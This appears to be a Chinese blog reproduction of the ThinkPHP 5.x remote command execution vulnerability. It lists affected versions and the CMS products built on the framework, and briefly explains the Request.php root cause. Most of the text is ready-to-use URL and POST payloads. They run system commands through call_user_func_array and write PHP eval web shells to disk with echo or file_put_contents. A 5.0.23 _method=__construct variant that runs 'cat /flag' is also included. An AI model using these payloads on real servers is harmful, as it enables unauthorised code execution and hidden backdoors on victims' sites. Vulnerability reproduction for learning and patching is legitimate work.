ThinkPHP 5.x远程命令执行漏洞复现

0x00:漏洞概述

ThinkPHP 是一个免费开源的,快速、简单的面向对象的 轻量级PHP开发框架

ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。

漏洞的原因是由于框架对控制器名没有进行足够的检测,导致在没有开启强制路由(默认未开启)的情况下可能导致远程代码执行,受影响的版本包括5.0和5.1。

参考链接:

https://www.freebuf.com/column/194100.html

https://www.cnblogs.com/yuzly/p/11460285.html

0x01:影响版本

Thinkphp 5.x-Thinkphp 5.1.31

Thinkphp 5.0.x<=5.0.23

5.0.0~5.0.23版本。

官方已在5.0.24版本修复该漏洞。

以下基于ThinkPHP 5 二次开发的内容管理系统,很可能受到该漏洞影响

AdminLTE后台管理系统
layui后台管理系统
thinkcmf
H-ui.admin后台管理系统
tpshop
FsatAdmin
eyoucms
LarryCMS后台管理系统
tpadmin后台管理系统
snake后台管理系统
ThinkSNS
DolphinPHP后台管理系统
WeMall商城系统
CLTPHP
齐博CMS
DSMALL
YFCMF
HisiPHP后台管理系统
Tplay后台管理系统
lyadmin后台管理系统
haoid后台管理系统

0x02:漏洞原理

(1)payloads

利用system函数远程命令执行

?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

利用phpinfo函数查看phpinfo()的信息

?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

/public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

写入shell 方法一

?s=/index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST[ddg1]);?^> >shell.php

注意:需要对特殊字符使用^转义(cmd环境下转义方式),windows环境的echo命令输出字符串到文档不用引号(单引号、双引号),部分字符url编码不编码都行。

写入shell 方法二

?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php @eval($_POST[ddg2]);?>

原理

ThinkPHP 5.x hinkphplibrary hink

本次漏洞触发点在Request.php文件里的method方法中,该方法的功能主要是判断请求类型。

这里判断是否存在’var_method’,如果存在则执行$this->{$this->method}($_POST);

在config.php中,可以看到 ‘var_method’ 是表单请求伪变量,其默认值为 ‘_method’。

这里可以POST _method=__construct用构造函数来进行变量覆盖,实现命令执行。

在构造函数中,会判断其传入参数的key是否是该类属性,如果是,则将对应的value赋值给该属性,可以进行变量覆盖。(从这里开始就不知道在说啥了    -_-'''  )

 再看全局过滤函数filtervalue,根据上一步的变量覆盖,POST filter[]=system,将$filter赋值为array(‘system’),同时POST 123456=whoami,触发过滤函数,调用call_user_func方法,执行whoami命令。

 0x03:漏洞测试

1、利用system函数远程命令执行

 ?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ipconfig

win xp 还没有whoami 命令???   https://blog.51cto.com/ilanni/552267

2、通过phpinfo函数查看phpinfo()的信息

利用phpinfo函数查看phpinfo()的信息

?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

/public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

 

3、写入shell 方法一

?s=/index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST[ddg1]);?^> >shell.php

注意:需要对特殊字符使用^转义(cmd环境下转义方式),windows环境的echo命令输出字符串到文档不用引号(单引号、双引号),部分字符url编码不编码都行。

 

 

4、写入shell 方法二

?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../shell2.php&vars[1][]=<?php @eval($_POST[ddg2]);?>

这次路径前一层

 

5.0.23

参考:https://blog.csdn.net/xuandao_ahfengren/article/details/86333189

 ?s=captcha


_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag

原文地址:https://www.cnblogs.com/liqik/p/12595352.html